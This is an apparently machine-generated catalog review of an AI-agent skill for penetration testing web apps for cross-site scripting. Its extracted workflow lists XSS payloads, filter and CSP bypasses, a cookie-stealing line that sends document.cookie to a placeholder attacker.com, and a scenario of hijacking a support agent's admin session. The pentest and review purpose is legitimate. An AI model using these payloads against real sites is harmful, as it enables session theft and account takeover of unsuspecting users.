Back to catalog
Static reviewDevelopment

Skill dossier

testing-for-xss-vulnerabilities

Source declaration

Tests web applications for reflected, stored, and DOM-based Cross-Site Scripting by injecting JavaScript payloads with Burp Suite (XSS extensions, Active Scan++) and browser tools, then bypassing sanitization and CSP to demonstrate session hijacking and user impersonation. Use for OWASP WSTG client-side injection testing or when evaluating input sanitization and output encoding coverage.

The author's original description, preserved in English. It describes intent, not verified performance.

Tests web applications for reflected, stored, and DOM-based Cross-Site Scripting by injecting JavaScript payloads with Burp Suite (XSS extensions, Active Scan++) and browser tools, then bypassing sanitization and CSP to demonstrate session hijacking and user impersonation. Use for OWASP WSTG client-side injection testing or when evaluating input sanitization and output encoding coverage.

developmentreferencesscripts

Research summary

Machine-generated analysis; pending human review

These observations come from deterministic source parsing, not a human security review or controlled task evaluation.

Tests web applications for reflected, stored, and DOM-based Cross-Site Scripting by injecting JavaScript payloads with Burp Suite (XSS extensions, Active Scan++) and browser tools, then bypassing sanitization and CSP to demonstrate session hijacking and user impersonation. Use for OWASP WSTG client-side injection testing or when evaluating input sanitization and output encoding coverage. This bilingual summary is generated deterministically from collected source text and file structure; it is pending human editorial review.

Review scope

Deterministic static analysis of collected SKILL.md and supporting text/code. Machine-assisted candidates and findings await human editorial review; no dynamic behavior or effect is assessed.

Observable capabilities

  • Workflow [Source statement; provisional, not tested. Evidence: skills/testing-for-xss-vulnerabilities/SKILL.md:L54]
  • Step 1: Input and Output Mapping [Source statement; provisional, not tested. Evidence: skills/testing-for-xss-vulnerabilities/SKILL.md:L56]
  • Step 2: Reflected XSS Testing [Source statement; provisional, not tested. Evidence: skills/testing-for-xss-vulnerabilities/SKILL.md:L70]
  • Step 3: Stored XSS Testing [Source statement; provisional, not tested. Evidence: skills/testing-for-xss-vulnerabilities/SKILL.md:L85]
  • Step 4: DOM-Based XSS Testing [Source statement; provisional, not tested. Evidence: skills/testing-for-xss-vulnerabilities/SKILL.md:L96]
  • Step 5: CSP Bypass and Advanced Exploitation [Source statement; provisional, not tested. Evidence: skills/testing-for-xss-vulnerabilities/SKILL.md:L111]

Limitations & scope

  • Static analysis cannot assess runtime behavior, command success, network reachability, or model output quality.
  • No commands, scripts, network requests, model calls, or controlled skill executions were performed.
  • Category, tags, capabilities, workflows, and bilingual editorial summaries are deterministic candidates pending human review, not verified outcomes.
  • Exact token counts are unavailable until a later pipeline performs and records an official model-specific count.

Relevant for

  • Practitioners evaluating whether to inspect and install the source skill; this audience is inferred from the product context, not measured usage. [Evidence: skills/testing-for-xss-vulnerabilities/SKILL.md:L1-L30]

What ships with the skill

The file inventory comes from the collected source at the recorded commit. Paths and sizes are structural observations, not a measure of quality.

files
4
Markdown files
2
scripts
1
references
1
Size
32.7 KB
Structural complexity
Low

File inventory

PathTypeBytes
skills/testing-for-xss-vulnerabilities/LICENSEOther11 KB
skills/testing-for-xss-vulnerabilities/references/api-reference.mdReference2 KB
skills/testing-for-xss-vulnerabilities/scripts/agent.pyScript8.4 KB
skills/testing-for-xss-vulnerabilities/SKILL.mdInstruction11.3 KB

SKILL.md frontmatter

{
  "name": "testing-for-xss-vulnerabilities",
  "description": "Tests web applications for reflected, stored, and DOM-based Cross-Site Scripting by injecting JavaScript payloads with Burp Suite (XSS extensions, Active Scan++) and browser tools, then bypassing sanitization and CSP to demonstrate session hijacking and user impersonation. Use for OWASP WSTG client-side injection testing or when evaluating input sanitization and output encoding coverage.",
  "domain": "cybersecurity",
  "subdomain": "penetration-testing",
  "tags": [
    "XSS",
    "cross-site-scripting",
    "client-side-security",
    "OWASP-A03",
    "JavaScript-injection"
  ],
  "version": "1.0.0",
  "author": "mahipal",
  "license": "Apache-2.0",
  "nist_csf": [
    "ID.RA-01",
    "ID.RA-06",
    "GV.OV-02",
    "DE.AE-07"
  ],
  "mitre_attack": [
    "T1595",
    "T1190",
    "T1059",
    "T1078",
    "T1055"
  ]
}

A reading of the operating sequence

This workflow reconstructs the apparent sequence from source material. Unless controlled evaluation is explicitly recorded, it is provisional—not an observed trace.

  1. 01
    Decision

    When to Use

    Source-described decision candidate under “When to Use”; not verified execution.

  2. 02
    Action

    Workflow

    Source-described action candidate under “Workflow”; not verified execution.

  3. 03
    Input

    Step 1: Input and Output Mapping

    Source-described input candidate under “Step 1: Input and Output Mapping”; not verified execution.

  4. 04
    Action

    Reflected inputs: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response

    Source-described action candidate under “Step 1: Input and Output Mapping”; not verified execution.

  5. 05
    Input

    Stored inputs: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages

    Source-described input candidate under “Step 1: Input and Output Mapping”; not verified execution.

  6. 06
    Action

    DOM inputs: Identify client-side JavaScript that reads from `location.hash`, `location.search`, `document.referrer`, `window.name`, `postMessage`, or `localStorage` and writes to the DOM

    Source-described action candidate under “Step 1: Input and Output Mapping”; not verified execution.

Inspect all extracted workflow candidates (64 candidate steps)
  1. 07
    Input

    Output context identification: For each reflected input, determine the rendering context:

    Source-described input candidate under “Step 1: Input and Output Mapping”; not verified execution.

  2. 08
    Action

    HTML body: `<div>USERINPUT</div>`

    Source-described action candidate under “Step 1: Input and Output Mapping”; not verified execution.

  3. 09
    Input

    HTML attribute: `<input value="USERINPUT">`

    Source-described input candidate under “Step 1: Input and Output Mapping”; not verified execution.

  4. 10
    Action

    JavaScript string: `var x = 'USERINPUT';`

    Source-described action candidate under “Step 1: Input and Output Mapping”; not verified execution.

  5. 11
    Action

    URL context: `<a href="USERINPUT">`

    Source-described action candidate under “Step 1: Input and Output Mapping”; not verified execution.

  6. 12
    Action

    CSS context: `<div style="color: USERINPUT">`

    Source-described action candidate under “Step 1: Input and Output Mapping”; not verified execution.

  7. 13
    Action

    Step 2: Reflected XSS Testing

    Source-described action candidate under “Step 2: Reflected XSS Testing”; not verified execution.

  8. 14
    Action

    HTML body context: `<script>alert(document.domain)</script>`, `<img src=x onerror=alert(1)>`, `<svg onload=alert(1)>`

    Source-described action candidate under “Step 2: Reflected XSS Testing”; not verified execution.

  9. 15
    Action

    HTML attribute context: `" onfocus=alert(1) autofocus="`, `" onmouseover=alert(1) "`, `"><script>alert(1)</script>`

    Source-described action candidate under “Step 2: Reflected XSS Testing”; not verified execution.

  10. 16
    Action

    JavaScript string context: `';alert(1)//`, `\';alert(1)//`, `</script><script>alert(1)</script>`

    Source-described action candidate under “Step 2: Reflected XSS Testing”; not verified execution.

  11. 17
    Action

    URL/href context: `javascript:alert(1)`, `data:text/html,<script>alert(1)</script>`

    Source-described action candidate under “Step 2: Reflected XSS Testing”; not verified execution.

  12. 18
    Action

    Inside HTML comments: `--><script>alert(1)</script><!--`

    Source-described action candidate under “Step 2: Reflected XSS Testing”; not verified execution.

  13. 19
    Action

    Filter bypass payloads (when basic payloads are blocked):

    Source-described action candidate under “Step 2: Reflected XSS Testing”; not verified execution.

  14. 20
    Action

    Case variation: `<ScRiPt>alert(1)</sCrIpT>`

    Source-described action candidate under “Step 2: Reflected XSS Testing”; not verified execution.

  15. 21
    Action

    Event handlers: `<details open ontoggle=alert(1)>`

    Source-described action candidate under “Step 2: Reflected XSS Testing”; not verified execution.

  16. 22
    Action

    SVG: `<svg><animate onbegin=alert(1) attributeName=x>`

    Source-described action candidate under “Step 2: Reflected XSS Testing”; not verified execution.

  17. 23
    Action

    Encoding: `<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>`

    Source-described action candidate under “Step 2: Reflected XSS Testing”; not verified execution.

  18. 24
    Action

    Step 3: Stored XSS Testing

    Source-described action candidate under “Step 3: Stored XSS Testing”; not verified execution.

  19. 25
    Input

    Submit XSS payloads to every stored input field identified in Step 1

    Source-described input candidate under “Step 3: Stored XSS Testing”; not verified execution.

  20. 26
    Action

    Use a unique identifier in each payload to track which inputs trigger: `<script>alert('XSS-PROFILE-001')</script>`

    Source-described action candidate under “Step 3: Stored XSS Testing”; not verified execution.

  21. 27
    Input

    Check all locations where the stored input is rendered (the same input may appear on multiple pages)

    Source-described input candidate under “Step 3: Stored XSS Testing”; not verified execution.

  22. 28
    Input

    Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads

    Source-described input candidate under “Step 3: Stored XSS Testing”; not verified execution.

  23. 29
    Action

    Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes

    Source-described action candidate under “Step 3: Stored XSS Testing”; not verified execution.

  24. 30
    Action

    Use XSS Hunter payloads (`"><script src=https://yourxsshunter.xss.ht></script>`) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access

    Source-described action candidate under “Step 3: Stored XSS Testing”; not verified execution.

  25. 31
    Action

    Step 4: DOM-Based XSS Testing

    Source-described action candidate under “Step 4: DOM-Based XSS Testing”; not verified execution.

  26. 32
    Action

    Analyze client-side JavaScript for unsafe DOM manipulation:

    Source-described action candidate under “Step 4: DOM-Based XSS Testing”; not verified execution.

  27. 33
    Input

    Source identification: Search JavaScript for dangerous sources that read attacker-controlled input:

    Source-described input candidate under “Step 4: DOM-Based XSS Testing”; not verified execution.

  28. 34
    Action

    `document.location`, `document.URL`, `document.referrer`

    Source-described action candidate under “Step 4: DOM-Based XSS Testing”; not verified execution.

  29. 35
    Action

    `location.hash`, `location.search`, `location.href`

    Source-described action candidate under “Step 4: DOM-Based XSS Testing”; not verified execution.

  30. 36
    Action

    `window.name`, `postMessage` event data

    Source-described action candidate under “Step 4: DOM-Based XSS Testing”; not verified execution.

  31. 37
    Output

    Sink identification: Search for dangerous sinks that write to the DOM:

    Source-described output candidate under “Step 4: DOM-Based XSS Testing”; not verified execution.

  32. 38
    Output

    `innerHTML`, `outerHTML`, `document.write()`, `document.writeln()`

    Source-described output candidate under “Step 4: DOM-Based XSS Testing”; not verified execution.

  33. 39
    Action

    `eval()`, `setTimeout()`, `setInterval()`, `Function()`

    Source-described action candidate under “Step 4: DOM-Based XSS Testing”; not verified execution.

  34. 40
    Action

    `element.setAttribute()` with event handlers, `jQuery.html()`, `.append()`, `v-html` (Vue), `dangerouslySetInnerHTML` (React)

    Source-described action candidate under “Step 4: DOM-Based XSS Testing”; not verified execution.

  35. 41
    Decision

    Trace data flow: Follow the path from source to sink. If user-controlled input reaches a dangerous sink without proper sanitization, DOM XSS exists.

    Source-described decision candidate under “Step 4: DOM-Based XSS Testing”; not verified execution.

  36. 42
    Action

    Framework-specific testing: Test React `dangerouslySetInnerHTML`, Angular template injection (`{{constructor.constructor('alert(1)')()}}`), Vue `v-html` directive

    Source-described action candidate under “Step 4: DOM-Based XSS Testing”; not verified execution.

  37. 43
    Action

    Step 5: CSP Bypass and Advanced Exploitation

    Source-described action candidate under “Step 5: CSP Bypass and Advanced Exploitation”; not verified execution.

  38. 44
    Action

    CSP analysis: Review the CSP header for weaknesses:

    Source-described action candidate under “Step 5: CSP Bypass and Advanced Exploitation”; not verified execution.

  39. 45
    Action

    `unsafe-inline` in script-src allows inline scripts

    Source-described action candidate under “Step 5: CSP Bypass and Advanced Exploitation”; not verified execution.

  40. 46
    Action

    `unsafe-eval` allows eval() and similar functions

    Source-described action candidate under “Step 5: CSP Bypass and Advanced Exploitation”; not verified execution.

  41. 47
    Action

    Wildcard domains (`.googleapis.com`) may host JSONP endpoints usable for CSP bypass

    Source-described action candidate under “Step 5: CSP Bypass and Advanced Exploitation”; not verified execution.

  42. 48
    Action

    `base-uri` not set allows `<base>` tag injection to redirect relative script loads

    Source-described action candidate under “Step 5: CSP Bypass and Advanced Exploitation”; not verified execution.

  43. 49
    Decision

    JSONP bypass: If CSP allows a domain with JSONP endpoints, use `<script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script>`

    Source-described decision candidate under “Step 5: CSP Bypass and Advanced Exploitation”; not verified execution.

  44. 50
    Action

    Impact demonstration:

    Source-described action candidate under “Step 5: CSP Bypass and Advanced Exploitation”; not verified execution.

  45. 51
    Action

    Session hijacking: `<script>new Image().src="https://attacker.com/steal?c="+document.cookie</script>`

    Source-described action candidate under “Step 5: CSP Bypass and Advanced Exploitation”; not verified execution.

  46. 52
    Action

    Credential phishing: Inject a fake login form overlay that submits to the attacker's server

    Source-described action candidate under “Step 5: CSP Bypass and Advanced Exploitation”; not verified execution.

  47. 53
    Action

    Keylogging: Inject JavaScript that captures keystrokes on the page

    Source-described action candidate under “Step 5: CSP Bypass and Advanced Exploitation”; not verified execution.

  48. 54
    Action

    Account takeover: Use XSS to change the victim's email address and trigger a password reset

    Source-described action candidate under “Step 5: CSP Bypass and Advanced Exploitation”; not verified execution.

  49. 55
    Action

    Key Concepts

    Source-described action candidate under “Key Concepts”; not verified execution.

  50. 56
    Action

    Tools & Systems

    Source-described action candidate under “Tools & Systems”; not verified execution.

  51. 57
    Action

    Common Scenarios

    Source-described action candidate under “Common Scenarios”; not verified execution.

  52. 58
    Action

    Submit a support ticket with a unique XSS Hunter payload in the ticket description

    Source-described action candidate under “Scenario: Stored XSS in Customer Support Ticket System”; not verified execution.

  53. 59
    Action

    The payload fires when a support agent views the ticket in the admin panel, sending a callback with the agent's session cookie, page DOM, and screenshot

    Source-described action candidate under “Scenario: Stored XSS in Customer Support Ticket System”; not verified execution.

  54. 60
    Action

    Use the captured admin session cookie to access the admin panel as the support agent

    Source-described action candidate under “Scenario: Stored XSS in Customer Support Ticket System”; not verified execution.

  55. 61
    Action

    From the admin panel, access customer records, order data, and refund functionality

    Source-described action candidate under “Scenario: Stored XSS in Customer Support Ticket System”; not verified execution.

  56. 62
    Action

    Document the attack chain: customer submits ticket -> agent views ticket -> XSS fires -> session stolen -> admin panel compromised

    Source-described action candidate under “Scenario: Stored XSS in Customer Support Ticket System”; not verified execution.

  57. 63
    Decision

    Test if CSP would have prevented the attack (in this case, no CSP header was present)

    Source-described decision candidate under “Scenario: Stored XSS in Customer Support Ticket System”; not verified execution.

  58. 64
    Output

    Output Format

    Source-described output candidate under “Output Format”; not verified execution.

Potential risk surfaces

Static findings identify points to inspect before installation. They do not establish that a skill is safe, malicious, or effective.

Attention recommended

64 deterministic lexical finding(s) require review across the collected text. Findings can occur in documentation and do not prove execution or exploitability; binary-only files were not scanned.

Network accessObserved
File writesObserved
Credential useNot observed
Medium

Network access is mentioned

18 occurrences

A URL or network client appears in this source line. Review destinations, data sent, and trust boundaries; static text cannot establish actual network activity. This rule matched 18 location(s) in the collected text; 3 representative location(s) are cited. Matching text may be documentation, and the analyzer did not execute it.

Note

File modification is described or implemented

43 occurrences

This line contains a possible file-write or redirection operation. Check destination paths and overwrite behavior; the static review did not write any file. This rule matched 43 location(s) in the collected text; 3 representative location(s) are cited. Matching text may be documentation, and the analyzer did not execute it.

High

Dynamic command execution is referenced

3 occurrences

A shell, dynamic evaluation, or process execution primitive appears here. Inspect arguments and input control. Presence in source does not prove a command ran. This rule matched 3 location(s) in the collected text; 3 representative location(s) are cited. Matching text may be documentation, and the analyzer did not execute it.

Where context can be spent

Discovery, activation, and resource layers have different meanings. Exact values appear only when the official token-counting method was run with a named model.

Exact token counts unavailable

All token values, including per-file inventory, are null until the pipeline performs an official exact count with an explicit model.

No token measurement was recorded with the required official method. This dossier does not substitute character counts, file sizes, or estimates.

Controlled evaluation

No controlled evaluation

This skill has only the evidence identified above. No task success, token efficiency, latency, or quality advantage is claimed.

Not tested

Use with the source in view

Install command
Inspect the pinned source at https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/54a798831d2266a3ca61ce68a7acb80b81160d57/skills/testing-for-xss-vulnerabilities/SKILL.md and follow the source repository's installation instructions. No installation was performed or verified by this static analyzer. Source license: Apache-2.0.

Prerequisites

  • Static analysis cannot assess runtime behavior, command success, network reachability, or model output quality.
  • No commands, scripts, network requests, model calls, or controlled skill executions were performed.
  • Category, tags, capabilities, workflows, and bilingual editorial summaries are deterministic candidates pending human review, not verified outcomes.
  • Exact token counts are unavailable until a later pipeline performs and records an official model-specific count.

Example prompts

Not provided

A decision, with its limits attached

Strengths

  • The snapshot contains 4 collected file(s), 2 Markdown file(s), and 1 script file(s), enabling source-level inspection. [Evidence: skills/testing-for-xss-vulnerabilities/SKILL.md:L1]

Considerations

  • No functional, security, or model-quality result has been established. Human review must inspect source context and all cited findings before installation or publication.
Research conclusion

Provisional deterministic static inventory only; pending human editorial review and, separately, controlled evaluation. No install recommendation, security assurance, or effectiveness claim is made.

Traceable by construction

The dossier is a time-bound reading of a public artifact, not an endorsement. Use the source link to inspect the exact upstream material.

mukul975Anthropic-Cybersecurity-Skillsskills/testing-for-xss-vulnerabilities
Source type
Community
Commit
54a798831d2266a3ca61ce68a7acb80b81160d57
Collected
20 Nov 2026
Last checked
20 Nov 2026
Upstream license
Apache-2.0
Repository stars
36,446
Content basis

Deterministic lexical parsing, YAML frontmatter validation, file inventory, source-described workflow extraction, and heuristic provisional classification of the supplied files only. Generated by machine; no LLM, execution, dynamic testing, or human editorial approval.